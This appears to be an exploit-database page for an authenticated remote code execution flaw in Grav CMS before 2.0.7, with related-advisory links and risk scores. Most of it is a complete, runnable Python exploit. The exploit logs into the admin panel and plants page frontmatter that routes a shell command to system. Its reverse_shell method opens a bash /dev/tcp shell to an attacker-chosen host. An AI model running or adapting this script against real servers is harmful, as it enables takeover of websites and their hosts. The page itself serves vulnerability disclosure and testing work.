Lucene search
+L

Grav CMS 2.0.7 - RCE

🗓️ 01 Sep 2026 00:00:00Reported by zer0dayfType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 3 Views

Authenticated RCE in Grav CMS < 2.0.7 via Blueprint::dynamicData() and arrayFilterRecursive.

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2026-65008
27 Jul 202613:27
githubexploit
attackerkb
ATTACKERKB
CVE-2026-65008
21 Jul 202611:39
attackerkb
circl
Circl
CVE-2026-65008
21 Jul 202612:40
circl
cve
CVE
CVE-2026-65008
21 Jul 202611:39
cve
cvelist
Cvelist
CVE-2026-65008 Grav before 2.0.7 Remote Code Execution via Blueprint dynamicData
21 Jul 202611:39
cvelist
euvd
EUVD
EUVD-2026-46183
21 Jul 202611:39
euvd
kitploit
Kitploit
CVE-2026-65008
2 Sep 202610:33
kitploit
nvd
NVD
CVE-2026-65008
21 Jul 202612:19
nvd
osv
OSV
CVE-2026-64850 Grav: Remote code execution via unrestricted callable in Blueprint::dynamicData()
19 Aug 202615:58
osv
ptsecurity
Positive Technologies
PT-2026-61930
21 Jul 202600:00
ptsecurity
Rows per page
#!/usr/bin/env python3
# Exploit Title: Grav CMS  2.0.7 - Remote Code Execution
# Date: 2026-07-27
# Exploit Author: zer0dayf
# Vendor Homepage: https://getgrav.org/
# Software Link: https://github.com/getgrav/grav
# Version: Grav CMS < 2.0.7
# Tested on: Ubuntu 22.04 / PHP 8.2
# CVE : CVE-2026-65008

"""
CVE-2026-65008 - Grav CMS < 2.0.7 Authenticated RCE
via Blueprint::dynamicData() + arrayFilterRecursive trampoline

Lab / authorized testing only.
"""

import argparse
import re
import sys
import time
from urllib.parse import urljoin

import requests

requests.packages.urllib3.disable_warnings()

BANNER = r""" . *  .  *  GRAVITY FAIL  *  .  *
              _____
           .-'     '-.
          / RCE INSIDE \
         | system(\"id\")|
          \   www-data  /
           '-._______.-'
        CVE-2026-65008 | Blueprint went brrr
"""







class GravExploit:
    def __init__(self, base_url, username, password, verify=False):
        self.base_url = base_url.rstrip("/")
        self.username = username
        self.password = password
        self.session = requests.Session()
        self.session.verify = verify
        self.session.headers.update({
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36"
        })
        self.nonce = None

    def login(self):
        print("[*] Logging in...")
        login_url = urljoin(self.base_url, "/admin")
        r = self.session.get(login_url, timeout=15)

        match = re.search(r'name=["\']login-nonce["\']\s+value=["\']([a-f0-9]+)["\']', r.text)
        if not match:
            print("[-] login-nonce not found")
            return False

        data = {
            "data[username]": self.username,
            "data[password]": self.password,
            "task": "login",
            "login-nonce": match.group(1)
        }

        r = self.session.post(login_url, data=data, allow_redirects=True, timeout=15)

        if "login-nonce" in r.text and "data[username]" in r.text:
            print("[-] Login failed")
            return False

        print("[+] Login successful")
        return True

    def get_admin_nonce(self):
        r = self.session.get(urljoin(self.base_url, "/admin"), timeout=15)
        patterns = [
            r"admin_nonce:\s*['\"]([a-f0-9]+)['\"]",
            r"admin-nonce:([a-f0-9]+)",
            r'name=["\']admin-nonce["\']\s+value=["\']([a-f0-9]+)["\']',
        ]
        for pattern in patterns:
            match = re.search(pattern, r.text)
            if match:
                self.nonce = match.group(1)
                return True
        return False

    def plant(self, command, folder="rcepoc"):
        print(f"[*] Planting payload → {command[:70]}{'...' if len(command) > 70 else ''}")

        if not self.get_admin_nonce():
            print("[-] Could not get admin-nonce")
            return False

        safe_cmd = command.replace("'", "'\\''")

        frontmatter = f"""forms:
  x:
    fields:
      y:
        type: text
        data-opts@:
          - 'Grav\\Common\\Utils::arrayFilterRecursive'
          - {{ '{safe_cmd}': 'x' }}
          - system"""

        data = {
            "task": "save",
            "admin-nonce": self.nonce,
            "form-nonce": self.nonce,
            "data[folder]": folder,
            "data[name]": "form",
            "data[title]": "RCE",
            "data[content]": "pwned",
            "data[frontmatter]": frontmatter
        }

        url = urljoin(self.base_url, f"/admin/pages/{folder}")
        r = self.session.post(url, data=data, timeout=15)

        if r.status_code not in (200, 302):
            print(f"[-] Plant failed (HTTP {r.status_code})")
            return False

        print("[+] Payload planted")
        return True

    def trigger(self, folder="rcepoc", timeout=8):
        print("[*] Triggering payload...")
        try:
            r = requests.get(
                urljoin(self.base_url, f"/{folder}"),
                timeout=timeout,
                verify=False
            )
            return r.text, False   # (body, timed_out)
        except requests.exceptions.ReadTimeout:
            return None, True      # timed out = muhtemel shell
        except Exception as e:
            print(f"[-] Trigger error: {e}")
            return None, False

    def run_cmd(self, command, folder="rcepoc"):
        if not self.plant(command, folder):
            return None
        time.sleep(0.5)
        body, timed_out = self.trigger(folder, timeout=12)
        if timed_out:
            print("[!] Request timed out (command may still have run)")
        return body

    def reverse_shell(self, lhost, lport, folder="rcepoc"):
        payload = f'bash -c "bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"'

        print(f"[*] Reverse shell target → {lhost}:{lport}")
        print(f"[!] Make sure listener is running:  nc -lvnp {lport}")
        print(f"[*] Payload: {payload}")

        if not self.plant(payload, folder):
            print("[-] Failed to plant reverse shell payload")
            return False

        time.sleep(0.6)
        body, timed_out = self.trigger(folder, timeout=6)

        if timed_out:
            print("[+] Request timed out → reverse shell likely connected!")
            print("[+] Check your nc listener.")
            return True
        else:
            print("[-] Request finished without timeout.")
            print("[-] Reverse shell probably FAILED (listener empty?).")
            if body:
                # Komut çıktısı geldiyse göster (hata mesajı olabilir)
                snippet = body[:300].replace("\n", " ")
                print(f"[*] Response snippet: {snippet}")
            return False


def main():
    print(BANNER)

    parser = argparse.ArgumentParser(description="CVE-2026-65008 Grav CMS Authenticated RCE")
    parser.add_argument("-u", "--url", required=True, help="Target URL")
    parser.add_argument("-U", "--username", default="admin", help="Username")
    parser.add_argument("-P", "--password", required=True, help="Password")
    parser.add_argument("-c", "--command", default="id", help="Command to execute")
    parser.add_argument("--lhost", help="Reverse shell LHOST")
    parser.add_argument("--lport", type=int, default=4444, help="Reverse shell LPORT")
    parser.add_argument("--folder", default="rcepoc", help="Page folder name")
    parser.add_argument("--no-verify", action="store_true", help="Disable TLS verification")

    args = parser.parse_args()
    exploit = GravExploit(args.url, args.username, args.password, verify=not args.no_verify)

    if not exploit.login():
        sys.exit(1)

    if args.lhost:
        ok = exploit.reverse_shell(args.lhost, args.lport, folder=args.folder)
        sys.exit(0 if ok else 1)

    output = exploit.run_cmd(args.command, folder=args.folder)
    if output:
        print("\n" + "=" * 60)
        for line in output.splitlines()[:20]:
            if line.strip() and not line.strip().startswith("<"):
                print(line)
        print("=" * 60)
        print("[+] Done")
    else:
        print("[-] No usable output")


if __name__ == "__main__":
    main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Sep 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 49.3
CVSS 3.19.8
EPSS0.00838
SSVC
3